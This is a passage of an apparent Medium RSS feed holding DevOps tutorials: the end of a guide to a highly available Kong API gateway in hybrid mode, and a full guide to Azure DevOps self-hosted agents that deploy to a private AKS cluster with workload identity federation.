kong<br>pg_password = change-me<br>pg_database = kong<br>pg_timeout = 5000<br>pg_max_concurrent_queries = 50<br>pg_semaphore_timeout = 30000</pre><pre># admin API on a private interface only, never the one clients reach<br>admin_listen = 10.0.2.21:8001<br>proxy_listen = off</pre><pre>log_level = notice</pre><p>Run the migrations once, from one node, then start both:</p><pre>kong migrations bootstrap -c /etc/kong/kong.conf   # first time only<br>systemctl enable --now kong<br>curl -s http://10.0.2.21:8001/status | jq .</pre><p>Two things to notice. proxy_listen = off: a control plane node does not proxy traffic. And admin_listen is bound to a private address. The admin API has no authentication in open-source Kong; whatever can reach that port can rewrite the gateway. It must sit on a management network with a firewall in front, and if you need it reachable from a CI runner, put a small nginx with client certificates or basic auth in front of it.</p><h3>The data planes</h3><p>Three nodes, and these are the ones that scale. Same package install, same certificate copied over, different config:</p><pre>role = data_plane<br>cluster_cert = /etc/kong/cluster.crt<br>cluster_cert_key = /etc/kong/cluster.key<br>cluster_control_plane = 10.0.2.20:8005         # HAProxy VIP in front of both CPs<br>cluster_telemetry_endpoint = 10.0.2.20:8006</pre><pre>database = off<br>lua_ssl_trusted_certificate = system</pre><pre>proxy_listen = 0.0.0.0:8000, 0.0.0.0:8443 ssl http2<br>status_listen = 0.0.0.0:8100<br>admin_listen = off</pre><pre>nginx_worker_processes = auto<br>trusted_ips = 10.0.3.0/24                       # the load balancer subnet<br>real_ip_header = X-Forwarded-For<br>real_ip_recursive = on</pre><pre>ssl_cert = /etc/kong/tls/api.example.com.crt<br>ssl_cert_key = /etc/kong/tls/api.example.com.key</pre><p>Start them and confirm they’ve connected and received config:</p><pre>systemctl enable --now kong<br>curl -s http://localhost:8100/status/ready<br># on a control plane node:<br>curl -s http://10.0.2.21:8001/clustering/data-planes | jq &#39;.data[] | {hostname, last_seen, sync_status}&#39;</pre><p>sync_status should read normal for all three. If one says unknown, it hasn&#39;t connected; the cause is almost always the certificate not matching or port 8005 blocked.</p><p>The property that makes this HA rather than just redundant: <strong>a data plane keeps the last configuration it received, in memory and on disk, and serves it indefinitely if the control plane vanishes.</strong> Both control plane nodes can be down for a week and traffic still flows. What you lose is the ability to change config. A data plane that reboots while the control plane is down reads its cached config from /usr/local/kong/config.cache.json.gz and comes back serving. That&#39;s the reason to choose hybrid over traditional mode on VMs.</p><p>For the control plane VIP, add to HAProxy on the LB nodes:</p><pre>listen kong-cluster<br>    bind 10.0.2.20:8005<br>    mode tcp<br>    balance roundrobin<br>    option tcp-check<br>    server cp-1 10.0.2.21:8005 check<br>    server cp-2 10.0.2.22:8005 check</pre><pre>listen kong-cluster-telemetry<br>    bind 10.0.2.20:8006<br>    mode tcp<br>    server cp-1 10.0.2.21:8006 check<br>    server cp-2 10.0.2.22:8006 check</pre><h3>The front door</h3><p>Clients need one address. Two HAProxy nodes with keepalived share a virtual IP; whichever holds it receives traffic and spreads it across the three data planes. If that node dies, keepalived moves the IP to the other in about a second.</p><p>Keepalived on both LB nodes (state BACKUP and a lower priority on the second):</p><pre># /etc/keepalived/keepalived.conf<br>vrrp_script chk_haproxy {<br>    script &quot;/usr/bin/pgrep haproxy&quot;<br>    interval 2<br>    weight -20<br>}</pre><pre>vrrp_instance VI_KONG {<br>    state MASTER<br>    interface eth0<br>    virtual_router_id 51<br>    priority 100<br>    advert_int 1<br>    authentication { auth_type PASS  auth_pass change-me }<br>    virtual_ipaddress {<br>        203.0.113.10/24          # public VIP for client traffic<br>        10.0.2.20/24             # internal VIP for the control plane<br>        10.0.1.10/24             # internal VIP for Postgres<br>    }<br>    track_script { chk_haproxy }<br>}</pre><p>The chk_haproxy script is what turns &quot;node is up&quot; into &quot;node is useful.&quot; If HAProxy crashes, the VIP moves even though the VM is fine.</p><p>HAProxy for the data planes:</p><pre>frontend kong-https<br>    bind 203.0.113.10:443<br>    mode tcp<br>    option tcplog<br>    default_backend kong-dp</pre><pre>backend kong-dp<br>    mode tcp<br>    balance leastconn<br>    option httpchk GET /status/ready<br>    http-check expect status 200<br>    default-server inter 3s fall 2 rise 3 slowstart 10s<br>    server dp-1 10.0.3.31:8443 check port 8100 send-proxy-v2<br>    server dp-2 10.0.3.32:8443 check port 8100 send-proxy-v2<br>    server dp-3 10.0.3.33:8443 check port 8100 send-proxy-v2</pre><p>Three decisions in there:</p><p><strong>TCP passthrough, not TLS termination at HAProxy.</strong> Kong terminates TLS so its plugins can see the request. HAProxy just balances connections. If you’d rather terminate at HAProxy (one place for certificates), switch to mode http and send X-Forwarded-* headers; either works, but pick one and don&#39;t do both.</p><p><strong>send-proxy-v2</strong> passes the real client IP to Kong through the PROXY protocol, which is the only way to preserve it in TCP mode. Kong needs proxy_listen = ... proxy_protocol on the 8443 listener to read it. Without this, every request appears to come from the load balancer and rate limiting by IP is meaningless.</p><p><strong>Health check on the status port, </strong><strong>/status/ready.</strong> It returns 200 only when the data plane has a configuration loaded. A freshly rebooted data plane that hasn&#39;t yet connected to the control plane answers 503 and gets no traffic until it has. This is the check that makes rolling restarts invisible.</p><p>slowstart 10s ramps traffic to a recovered node over ten seconds rather than dumping a third of the load on a cold process.</p><h3>Shared state for plugins</h3><p>Almost every plugin is stateless. The ones that aren’t will break HA quietly if you don’t give them somewhere to share.</p><p>Rate limiting with policy: local counts per node, so three data planes give each client triple the limit. The fix is policy: redis, and Redis then has to be HA too: three nodes with Sentinel, and the plugin pointed at the Sentinel master name rather than an IP. Same for response-ratelimiting and proxy-cache with Redis storage.</p><p>The session plugin and the OIDC plugin (enterprise) with storage: memory pin a user&#39;s session to one data plane. Use cookies (the default) or Redis.</p><p>If you don’t use any of those, skip Redis entirely. Fewer things to keep alive.</p><h3>Configuration as code, and how to connect an API</h3><p>With hybrid mode the admin API is on the control plane, and the way to manage it that doesn’t involve curl in a runbook is decK: a declarative state file in git, applied by CI, diffed before every change.</p><pre>curl -sL https://github.com/Kong/deck/releases/latest/download/deck_linux_amd64.tar.gz | tar xz -C /usr/local/bin deck<br>deck gateway dump --kong-addr http://10.0.2.21:8001 -o kong.yaml    # snapshot what exists</pre><p>Putting one API behind the gateway is a change to that file. Here’s a complete kong.yaml for one service with key authentication, a per-consumer rate limit, timeouts, and health checks on the upstream:</p><pre>_format_version: &quot;3.0&quot;</pre><pre>services:<br>  - name: orders<br>    protocol: http<br>    host: orders-upstream<br>    port: 8080<br>    connect_timeout: 3000<br>    read_timeout: 5000<br>    write_timeout: 5000<br>    retries: 2<br>    routes:<br>      - name: orders-v1<br>        hosts: [&quot;api.example.com&quot;]<br>        paths: [&quot;/orders&quot;]<br>        strip_path: true<br>        protocols: [&quot;https&quot;]<br>    plugins:<br>      - name: key-auth<br>        config:<br>          key_names: [&quot;X-API-Key&quot;]<br>          hide_credentials: true<br>      - name: rate-limiting<br>        config:<br>          minute: 100<br>          policy: redis<br>          redis_host: redis-sentinel.internal<br>          redis_port: 26379<br>          redis_sentinel_master: kong<br>          redis_sentinel_role: master<br>          fault_tolerant: true</pre><pre>upstreams:<br>  - name: orders-upstream<br>    algorithm: least-connections<br>    healthchecks:<br>      active:<br>        http_path: /healthz<br>        healthy:   { interval: 5, successes: 2 }<br>        unhealthy: { interval: 5, http_failures: 2, timeouts: 2 }<br>      passive:<br>        unhealthy: { http_failures: 5, timeouts: 3 }<br>    targets:<br>      - target: 10.0.4.41:8080<br>      - target: 10.0.4.42:8080<br>      - target: 10.0.4.43:8080</pre><pre>consumers:<br>  - username: partner-acme<br>    keyauth_credentials:<br>      - key: &quot;{vault://env/PARTNER_ACME_KEY}&quot;</pre><p>Then, from CI or a laptop on the management network:</p><pre>deck gateway diff -s kong.yaml --kong-addr http://10.0.2.21:8001    # show what would change<br>deck gateway sync -s kong.yaml --kong-addr http://10.0.2.21:8001    # apply it</pre><p>The control plane writes to Postgres and pushes the new config to all three data planes within a couple of seconds. No restart, no reload, no per-node step. The upstream with three targets is Kong doing its own load balancing and health checking across the API’s instances, so the API’s VMs don’t need their own load balancer.</p><p>A few things in that file worth pointing out. The upstream with targets is how you point at VMs rather than a Kubernetes Service; Kong health-checks each target and stops sending to one that fails. strip_path: true means /orders/123 reaches the backend as /123; forget it and you&#39;ll debug a 404 for an hour. The consumer key comes from a vault reference (environment variable here, HashiCorp Vault or AWS Secrets Manager in production) so it&#39;s not committed to git. And fault_tolerant: true on the rate limiter means that if Redis is unreachable the request is allowed rather than failed, which is the right default for most APIs and the wrong one for a login endpoint.</p><p>Test it:</p><pre>curl -i https://api.example.com/orders/health -H &quot;X-API-Key: $PARTNER_ACME_KEY&quot;   # 200<br>curl -i https://api.example.com/orders/health                                     # 401</pre><h3>Certificates</h3><p>Kong terminates TLS on the data planes, so each needs the certificate and key. Two approaches. Store certificates in Kong itself (certificates and snis in the decK file, with the key from a vault reference); the control plane pushes them to the data planes with the rest of the config, and renewal is a decK sync. Or keep them on disk on each data plane via ssl_cert in kong.conf and renew with certbot on each node, followed by kong reload. The first is cleaner once decK is in place, and it&#39;s the one that doesn&#39;t need a cron job on every proxy.</p><p>Don’t forget the cluster certificate from kong hybrid gen_cert. It&#39;s valid for three years by default. Put the expiry in the calendar now; a control plane whose cluster cert has expired can&#39;t push config, and the symptom looks like a data plane that&#39;s mysteriously stale.</p><h3>Operations</h3><p><strong>Rolling a data plane.</strong> Mark it down in HAProxy (echo &quot;set server kong-dp/dp-1 state drain&quot; | socat stdio /run/haproxy/admin.sock), wait for connections to drain, patch, reboot, confirm /status/ready and sync_status: normal, mark it back up. The load balancer&#39;s health check would do this for you eventually; draining first means zero errors instead of a handful.</p><p><strong>Rolling a control plane.</strong> Just do it. The other one is serving, and the data planes don’t care.</p><p><strong>Upgrading Kong.</strong> Control planes first, one at a time, with kong migrations up and kong migrations finish between the two. Then data planes, one at a time. Kong supports data planes one minor version behind the control plane during the rollout, so there&#39;s no big-bang moment.</p><p><strong>Failing over Postgres by hand,</strong> to prove it works before you need it: patronictl -c /etc/patroni.yml switchover. Watch the HAProxy stats page flip the backend, and watch the control plane log reconnect. The data planes won&#39;t notice, which is the point.</p><p><strong>Monitoring.</strong> Kong’s Prometheus plugin exposes metrics on the status port of each data plane; scrape all three. Alert on: any data plane with sync_status not normal for more than a minute, /status/ready failing, Patroni reporting no leader, keepalived VIP flapping, and the cluster certificate within 30 days of expiry. A synthetic check from outside against the public VIP catches the failures that internal monitoring can&#39;t see.</p><h3>Proving it</h3><p>Same test as always. A loop of requests through the VIP in one terminal:</p><pre>while true; do<br>  curl -s -o /dev/null -w &quot;%{http_code} %{time_total}\n&quot; https://api.example.com/orders/health -H &quot;X-API-Key: $KEY&quot;<br>  sleep 0.2<br>done</pre><p>In another, one at a time: stop Kong on a data plane; reboot a data plane; stop both control planes and leave them down for ten minutes while you push nothing; patronictl switchover on Postgres; kill HAProxy on the LB node holding the VIP; power off the Redis master. The loop should show 200s throughout, with at most a second of slow requests during the VIP move. Then bring a control plane back and deck gateway sync a change to confirm the config path still works.</p><p>Anything else in that loop is a gap in one of the sections above, and this is a far better place to find it than a customer incident.</p><p>The <a href="https://docs.konghq.com/gateway/latest/production/deployment-topologies/hybrid-mode/">Kong hybrid mode docs</a> are the reference for the control plane and data plane settings, <a href="https://docs.konghq.com/deck/latest/">decK</a> for the declarative side, <a href="https://patroni.readthedocs.io/">Patroni</a> for Postgres failover, and the <a href="https://docs.haproxy.org/">HAProxy configuration manual</a> for the health check and PROXY protocol options. Kong’s own <a href="https://docs.konghq.com/gateway/latest/install/linux/">install pages</a> have the current repository URL and key for each distribution.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9f4c5b9f93c4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Use Azure DevOps self-hosted agents to automate CI/CD on AKS Private cluster]]></title>
            <link>https://medium.com/@kmoussa/use-azure-devops-self-hosted-agents-to-automate-ci-cd-on-aks-private-cluster-95d6e5d21c71?source=rss-5266ae0c4640------2</link>
            <guid isPermaLink="false">https://medium.com/p/95d6e5d21c71</guid>
            <category><![CDATA[self-hosted]]></category>
            <category><![CDATA[azure-devops]]></category>
            <category><![CDATA[aks-privatecluster]]></category>
            <category><![CDATA[ci-cd-pipeline]]></category>
            <dc:creator><![CDATA[Karim Moussa]]></dc:creator>
            <pubDate>Wed, 14 Oct 2026 11:20:44 GMT</pubDate>
            <atom:updated>2026-10-14T11:20:44.555Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UqsIwwhsYtGXWPxj8JNNVA.png" /></figure><h3>A private AKS cluster is one whose API server has no public endpoint. kubectl only works from inside the virtual network, or from something peered to it. That&#39;s the point of it, and it&#39;s also the moment Azure DevOps stops working, because Microsoft-hosted agents run somewhere in Azure you don&#39;t control, on IPs you can&#39;t allow-list, with no route to your VNet. The first kubectl apply from a hosted pipeline hangs on the API server address and times out.</h3><p>The fix is self-hosted agents: build agents that run inside your network, register with Azure DevOps over an outbound HTTPS connection, and pull jobs. Azure DevOps never connects <em>in</em>. This post is how I set that up so the agents are secure, scale to zero when idle, need no stored secrets, and can build images and deploy to the cluster without anything having a public endpoint.</p><h3>What has to be true</h3><p>Before any pipeline YAML, four things need to be in place, and three of them are networking.</p><p><strong>The agents have a route to the API server.</strong> The private cluster exposes its API server through a private endpoint in a subnet of the cluster’s VNet, with a DNS record in a private DNS zone named privatelink.&lt;region&gt;.azmk8s.io. Wherever the agents run, they must be able to resolve that name and reach that IP. Same VNet, a peered VNet, or a hub-and-spoke where the hub has the DNS zone linked; any of those work. An agent on a VM in a different VNet with no peering and no DNS link will resolve the name to nothing and fail exactly like a hosted agent.</p><p><strong>The agents have a route to the container registry.</strong> Azure Container Registry with a private endpoint is the usual pairing with a private cluster, and it needs its own private DNS zone (privatelink.azurecr.io) linked to wherever the agents are. If the registry is public with a firewall, the agent subnet&#39;s NAT gateway IP goes on the allow-list. Either way, test az acr login from the agent before you test anything else.</p><p><strong>The agents have outbound access to Azure DevOps.</strong> dev.azure.com, *.dev.azure.com, *.vsassets.io, *.vstmr.dev.azure.com, and the download endpoints for pipeline tasks. Through a NAT gateway or an Azure Firewall with those FQDNs allowed. No inbound rules at all.</p><p><strong>Nothing has a stored secret it doesn’t need.</strong> Agents authenticate to Azure DevOps with a PAT or, better, a managed identity. Pipelines authenticate to Azure with a service connection using workload identity federation, so there’s no service principal secret to rotate. The cluster is reached with kubelogin and the pipeline identity&#39;s Entra ID token, not a static kubeconfig. Getting these three right at the start is far easier than removing secrets from a working pipeline later.</p><h3>Where the agents run</h3><p>Two good options and one newer one.</p><p><strong>A virtual machine scale set in the cluster’s VNet.</strong> Azure DevOps has native support for VMSS agent pools: you create the scale set, point Azure DevOps at it, and it installs the agent extension, scales instances up when jobs queue and back down (to zero, if you allow it) when they don’t. The agents are full VMs, so Docker works normally, builds have local disk, and nothing about the pipeline changes from what you’d write for a hosted agent. This is the option I’d pick for most teams.</p><p><strong>Agent pods inside the AKS cluster itself.</strong> A Deployment or a KEDA-scaled Job running the agent container image. Attractive because there’s no extra infrastructure and the agents are already inside the network. The catch is building images: there’s no Docker daemon in a pod, so you use Kaniko or BuildKit, or push the build to ACR Tasks. And you’re running CI on the cluster it deploys to, which is fine for staging and a debate for production.</p><p><strong>Managed DevOps Pools.</strong> The newer Azure service that runs the agents for you on infrastructure you don’t manage, but injected into a VNet you specify. It’s the VMSS pattern without owning the VMSS. Worth looking at if it’s available in your region and your subscription; the rest of this post applies unchanged, you just skip the scale set section.</p><p>I’ll show the VMSS route in full and the in-cluster route briefly.</p><h3>Agents on a scale set</h3><p>Create the scale set in a subnet of the cluster’s VNet (or a peered one). No public IPs, outbound through NAT.</p><pre>RG=rg-platform<br>VNET=vnet-platform<br>SUBNET=snet-agents           # /27 is plenty; each agent is one IP</pre><pre>az network vnet subnet create -g $RG --vnet-name $VNET -n $SUBNET \<br>  --address-prefixes 10.20.4.0/27</pre><pre>az vmss create -g $RG -n vmss-ado-agents \<br>  --image Ubuntu2204 \<br>  --vm-sku Standard_D4s_v5 \<br>  --instance-count 0 \<br>  --disable-overprovision \<br>  --upgrade-policy-mode Manual \<br>  --single-placement-group false \<br>  --platform-fault-domain-count 1 \<br>  --load-balancer &quot;&quot; \<br>  --public-ip-address &quot;&quot; \<br>  --vnet-name $VNET --subnet $SUBNET \<br>  --assign-identity \<br>  --admin-username azureuser --generate-ssh-keys</pre><p>--instance-count 0, --load-balancer &quot;&quot; and --public-ip-address &quot;&quot; are the important ones: Azure DevOps will manage the instance count, and nothing should be reachable from outside. --assign-identity gives the scale set a system-assigned managed identity, which is how the agents will authenticate to Azure and ACR without a secret.</p><p>The agent VMs need Docker, kubectl, kubelogin, Helm and the Azure CLI. Bake them into a custom image with Packer or the Azure VM Image Builder, or install them with a custom script extension on first boot. Baking is better: agents start in seconds rather than minutes, and the toolchain is versioned.</p><p>Then, in Azure DevOps: Project settings, Agent pools, Add pool, choose “Azure virtual machine scale set,” pick the subscription and the scale set. Set the maximum number of VMs, the number to keep on standby (zero, for a cluster that’s idle overnight), and tick “automatically tear down virtual machines after every use” if you want a clean machine per job, which I do for anything that touches production.</p><p>Azure DevOps installs its extension on the scale set, and from then on it scales instances to match the queue. A job that lands on the pool with no instances running waits about two to three minutes for one to boot and register. Standby instances remove that wait at the cost of an idle VM.</p><p>Give the scale set’s managed identity the two roles it needs:</p><pre>IDENTITY=$(az vmss show -g $RG -n vmss-ado-agents --query identity.principalId -o tsv)<br>ACR_ID=$(az acr show -n myregistry --query id -o tsv)<br>AKS_ID=$(az aks show -g rg-aks -n aks-prod --query id -o tsv)</pre><pre>az role assignment create --assignee $IDENTITY --role AcrPush --scope $ACR_ID<br>az role assignment create --assignee $IDENTITY --role &quot;Azure Kubernetes Service Cluster User Role&quot; --scope $AKS_ID</pre><p>That’s push access to the registry and the right to download a kubeconfig for the cluster. What the identity can do <em>inside</em> the cluster is governed by Kubernetes RBAC, and with Entra ID integration on the cluster that’s a RoleBinding to the identity&#39;s object ID, scoped to the namespaces it deploys to. It should not be cluster-admin.</p><h3>The service connection</h3><p>The pipeline needs to authenticate to Azure, and the way to do it without a secret is an Azure Resource Manager service connection with <strong>workload identity federation</strong>. Azure DevOps creates a federated credential on an app registration (or a user-assigned managed identity), and pipeline jobs exchange their Azure DevOps token for an Entra ID token at run time. Nothing is stored, nothing expires, nothing to rotate.</p><p>Project settings, Service connections, New, Azure Resource Manager, Workload Identity federation (automatic). Pick the subscription, scope it to the resource group with the cluster and registry. Give the identity it creates the same two roles as above, plus a RoleBinding in the cluster.</p><p>You now have two identities: the scale set’s managed identity (what the <em>machine</em> is) and the service connection’s identity (what the <em>pipeline</em> is). Tasks like AzureCLI@2 use the service connection; a plain az login --identity in a script uses the machine identity. Pick one for deployments and use it consistently. I use the service connection, because it&#39;s scoped per project and shows up in the audit log with the pipeline that used it.</p><h3>The pipeline</h3><p>A two-stage pipeline: build and push an image, then deploy to the private cluster with Helm. Everything runs on the self-hosted pool.</p><pre># azure-pipelines.yml<br>trigger:<br>  branches: { include: [main] }<br>  paths: { exclude: [docs/*, README.md] }</pre><pre>pool:<br>  name: aks-private-agents          # the VMSS pool</pre><pre>variables:<br>  registry: myregistry.azurecr.io<br>  image: shop/orders<br>  tag: $(Build.SourceVersion)<br>  serviceConnection: sc-platform-prod<br>  aksResourceGroup: rg-aks<br>  aksName: aks-prod</pre><pre>stages:<br>  - stage: Build<br>    jobs:<br>      - job: BuildAndPush<br>        steps:<br>          - task: AzureCLI@2<br>            displayName: Login to ACR<br>            inputs:<br>              azureSubscription: $(serviceConnection)<br>              scriptType: bash<br>              scriptLocation: inlineScript<br>              inlineScript: az acr login --name ${registry%%.*}</pre><pre>          - script: |<br>              docker build -t $(registry)/$(image):$(tag) .<br>              docker push $(registry)/$(image):$(tag)<br>            displayName: Build and push</pre><pre>          - task: AzureCLI@2<br>            displayName: Sign image<br>            inputs:<br>              azureSubscription: $(serviceConnection)<br>              scriptType: bash<br>              scriptLocation: inlineScript<br>              inlineScript: |<br>                DIGEST=$(az acr repository show -n ${registry%%.*} --image $(image):$(tag) --query digest -o tsv)<br>                cosign sign --yes $(registry)/$(image)@$DIGEST</pre><pre>          - script: echo &quot;##vso[task.setvariable variable=digest;isOutput=true]$DIGEST&quot;<br>            name: out</pre><pre>  - stage: Deploy<br>    dependsOn: Build<br>    variables:<br>      digest: $[ stageDependencies.Build.BuildAndPush.outputs[&#39;out.digest&#39;] ]<br>    jobs:<br>      - deployment: DeployProd<br>        environment: prod              # for approvals and history; no Kubernetes resource attached<br>        strategy:<br>          runOnce:<br>            deploy:<br>              steps:<br>                - checkout: self</pre><pre>                - task: AzureCLI@2<br>                  displayName: Get cluster credentials<br>                  inputs:<br>                    azureSubscription: $(serviceConnection)<br>                    scriptType: bash<br>                    scriptLocation: inlineScript<br>                    inlineScript: |<br>                      az aks get-credentials -g $(aksResourceGroup) -n $(aksName) --overwrite-existing<br>                      kubelogin convert-kubeconfig -l azurecli<br>                      kubectl get nodes    # proves the private endpoint and DNS work</pre><pre>                - task: AzureCLI@2<br>                  displayName: Helm upgrade<br>                  inputs:<br>                    azureSubscription: $(serviceConnection)<br>                    scriptType: bash<br>                    scriptLocation: inlineScript<br>                    inlineScript: |<br>                      helm upgrade --install orders ./deploy/chart \<br>                        --namespace shop-prod --create-namespace \<br>                        --set image.repository=$(registry)/$(image) \<br>                        --set image.digest=$(digest) \<br>                        --wait --timeout 5m --atomic</pre><pre>                - script: kubectl -n shop-prod rollout status deploy/orders --timeout=300s<br>                  displayName: Verify rollout</pre><p>The pieces that make this work on a private cluster, and that differ from a hosted-agent pipeline:</p><p><strong>az aks get-credentials followed by </strong><strong>kubelogin convert-kubeconfig -l azurecli.</strong> With Entra ID integration, the kubeconfig you download contains no credentials; it tells kubectl to obtain an Entra token. kubelogin in azurecli mode reuses the token the AzureCLI@2 task already has from the service connection. No PAT, no cluster admin credential, no secret in the pipeline. Everything the pipeline does in the cluster is attributable to the service connection&#39;s identity.</p><p><strong>The </strong><strong>environment: prod is for approvals, not connectivity.</strong> Azure DevOps environments can have a Kubernetes resource attached, which lets the KubernetesManifest@1 task deploy through Azure DevOps&#39;s own connection to the cluster. That path needs Azure DevOps to reach the API server, which on a private cluster it can&#39;t. So the environment here is used for its approval gate and deployment history only, and the deployment itself is helm running on the agent inside the network. This is the thing that confuses most people migrating a pipeline to a private cluster: the environment&#39;s Kubernetes resource stops working and it isn&#39;t obvious why.</p><p><strong>Deploying by digest.</strong> The build stage resolves the digest after pushing, and the deploy stage pins to it. A tag can be overwritten; a digest can’t. It also matches what an image-signing admission policy in the cluster will check.</p><p><strong>--atomic --wait.</strong> Helm rolls back if the release doesn&#39;t become healthy in five minutes, so a bad deploy fails the pipeline rather than leaving the cluster half-updated.</p><h3>Agents inside the cluster instead</h3><p>If you’d rather not run a scale set, the agent image runs as a pod. KEDA’s Azure Pipelines scaler watches the pool’s queue and starts a Job per waiting build, so there are zero pods when nothing is queued.</p><p>Install KEDA (it’s an AKS add-on, or a Helm chart), create a namespace for the agents, and give them a PAT with “Agent Pools: Read &amp; manage” in a Secret. (A managed identity via workload identity is possible for the <em>pipeline</em> steps, but the agent’s own registration to Azure DevOps still wants a PAT or an identity with the right permission; check the current docs, this has been changing.)</p><pre>apiVersion: v1<br>kind: Secret<br>metadata:<br>  name: ado-agent<br>  namespace: ci<br>type: Opaque<br>stringData:<br>  AZP_URL: https://dev.azure.com/myorg<br>  AZP_TOKEN: &quot;&lt;pat&gt;&quot;<br>  AZP_POOL: aks-inside-agents<br>---<br>apiVersion: keda.sh/v1alpha1<br>kind: TriggerAuthentication<br>metadata:<br>  name: ado-pool-auth<br>  namespace: ci<br>spec:<br>  secretTargetRef:<br>    - parameter: personalAccessToken<br>      name: ado-agent<br>      key: AZP_TOKEN<br>---<br>apiVersion: keda.sh/v1alpha1<br>kind: ScaledJob<br>metadata:<br>  name: ado-agent<br>  namespace: ci<br>spec:<br>  minReplicaCount: 0<br>  maxReplicaCount: 10<br>  pollingInterval: 15<br>  successfulJobsHistoryLimit: 3<br>  failedJobsHistoryLimit: 5<br>  jobTargetRef:<br>    template:<br>      spec:<br>        serviceAccountName: ado-agent<br>        restartPolicy: Never<br>        containers:<br>          - name: agent<br>            image: myregistry.azurecr.io/platform/ado-agent:2024.09<br>            envFrom: [{ secretRef: { name: ado-agent } }]<br>            env:<br>              - name: AZP_AGENT_NAME<br>                valueFrom: { fieldRef: { fieldPath: metadata.name } }<br>            resources:<br>              requests: { cpu: &quot;1&quot;, memory: &quot;2Gi&quot; }<br>              limits:   { memory: &quot;4Gi&quot; }<br>  triggers:<br>    - type: azure-pipelines<br>      metadata:<br>        poolName: aks-inside-agents<br>        organizationURLFromEnv: AZP_URL<br>      authenticationRef:<br>        name: ado-pool-auth</pre><p>The agent image is built from Microsoft’s Dockerfile for the Linux agent plus whatever tools you need. Because it’s a ScaledJob, each build gets a fresh pod that runs one job and exits, which is the ephemeral behaviour you want.</p><p>Two changes to the pipeline. The docker build step can&#39;t run, because there&#39;s no daemon; replace it with Kaniko in the agent image, or with az acr build, which uploads the context to ACR Tasks and builds there:</p><pre>- task: AzureCLI@2<br>            displayName: Build in ACR Tasks<br>            inputs:<br>              azureSubscription: $(serviceConnection)<br>              scriptType: bash<br>              scriptLocation: inlineScript<br>              inlineScript: az acr build -r ${registry%%.*} -t $(image):$(tag) .</pre><p>And the pool name changes. Everything else is the same, and the cluster credentials step is even simpler because the agent is already inside.</p><p>The trade-off, again: you’re running builds on the cluster you deploy to. Fine for a non-production cluster or a dedicated tools cluster. For production, I’d keep the agents on the scale set.</p><h3>Things that go wrong</h3><p><strong>kubectl hangs, then times out.</strong> DNS. From the agent, nslookup &lt;cluster&gt;.privatelink.&lt;region&gt;.azmk8s.io should return a private IP. If it returns nothing, the private DNS zone isn&#39;t linked to the agent&#39;s VNet. If it returns a public IP, you&#39;re not looking at a private cluster, or you&#39;re resolving through public DNS because the VNet&#39;s DNS servers aren&#39;t Azure&#39;s.</p><p><strong>az acr login succeeds but </strong><strong>docker push fails with a DNS or connection error.</strong> Same problem, other zone: privatelink.azurecr.io and the data endpoint zone (&lt;region&gt;.data.privatelink.azurecr.io) both need to resolve. ACR with a private endpoint has two records per region.</p><p><strong>The agent never appears in the pool.</strong> Outbound to dev.azure.com is blocked, or the VMSS extension failed. az vmss extension list and the extension&#39;s log on the instance tell you which. If you&#39;re behind an Azure Firewall, the FQDN tags for Azure DevOps aren&#39;t complete; add the hosts from Microsoft&#39;s allow-list page.</p><p><strong>Jobs queue for minutes before starting.</strong> The pool has no standby instances and a VM boot plus agent registration takes two to three minutes. Either accept it, keep one instance warm during working hours, or move to a baked image so the boot is faster.</p><p><strong>Pipelines break after a PAT expires.</strong> Only applies to the in-cluster agents. Put the expiry in a calendar, or move to a managed identity for registration if your Azure DevOps organisation supports it.</p><p><strong>KubernetesManifest@1 or an environment&#39;s Kubernetes resource fails with a timeout.</strong> That path goes through Azure DevOps, not the agent. Use kubectl or helm on the agent instead, as above.</p><p><strong>The scale set’s identity can deploy to everything.</strong> It was given a broad role and the cluster’s RBAC wasn’t scoped. Bind it to the namespaces it needs. kubectl auth can-i --list --as with the identity&#39;s object ID shows what it actually has.</p><h3>Verifying the whole chain</h3><p>From a fresh agent instance, before trusting the pipeline:</p><pre>az login --identity<br>nslookup aks-prod-abc123.privatelink.westeurope.azmk8s.io<br>az acr login -n myregistry &amp;&amp; docker pull myregistry.azurecr.io/platform/ado-agent:2024.09<br>az aks get-credentials -g rg-aks -n aks-prod &amp;&amp; kubelogin convert-kubeconfig -l azurecli<br>kubectl auth can-i create deployments -n shop-prod   # yes<br>kubectl auth can-i create deployments -n kube-system  # no<br>curl -sI https://dev.azure.com | head -1</pre><p>If all of those pass, the pipeline will. If one fails, you’ve found the problem in thirty seconds instead of reading pipeline logs.</p><p>Once the pipeline runs, put a synthetic check against the deployed service, add a Prometheus alert on kube_deployment_status_replicas_unavailable for the namespaces the pipeline deploys to, and watch the agent pool&#39;s queue length in Azure DevOps analytics for a week to size the standby count.</p><p>Microsoft’s docs on <a href="https://learn.microsoft.com/azure/devops/pipelines/agents/scale-set-agents">scale set agents</a> and <a href="https://learn.microsoft.com/azure/devops/pipelines/library/connect-to-azure">workload identity federation for service connections</a> are the two to read; the <a href="https://learn.microsoft.com/azure/aks/private-clusters">private AKS cluster page</a> covers the DNS zone requirements in detail. For the in-cluster route, KEDA’s <a href="https://keda.sh/docs/scalers/azure-pipelines/">Azure Pipelines scaler</a> and Microsoft’s <a href="https://learn.microsoft.com/azure/devops/pipelines/agents/docker">Docker agent guide</a> have the image and the scaler settings. <a href="https://azure.github.io/kubelogin/">kubelogin</a> is small and worth reading end to end.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95d6e5d21c71" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kubernetes networking: which CNI, and does the performance difference matter?]]></title>
            <link>https://medium.com/@kmoussa/kubernetes-networking-which-cni-and-does-the-performance-difference-matter-918de3077893?source=rss-5266ae0c4640------2</link>
            <guid isPermaLink="false">https://medium.com/p/918de3077893</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[network-performance]]></category>
            <category><![CDATA[cni]]></category>
            <category><![CDATA[performance]]></category>
            <category><![CDATA[kubernetes-networking]]></category>
            <dc:creator><![CDATA[Karim Moussa]]></dc:creator>
            <pubDate>Sat, 03 Oct 2026 08:00:28 GMT</pubDate>
            <atom:updated>2026-10-03T08:00:28.355Z</atom:updated>
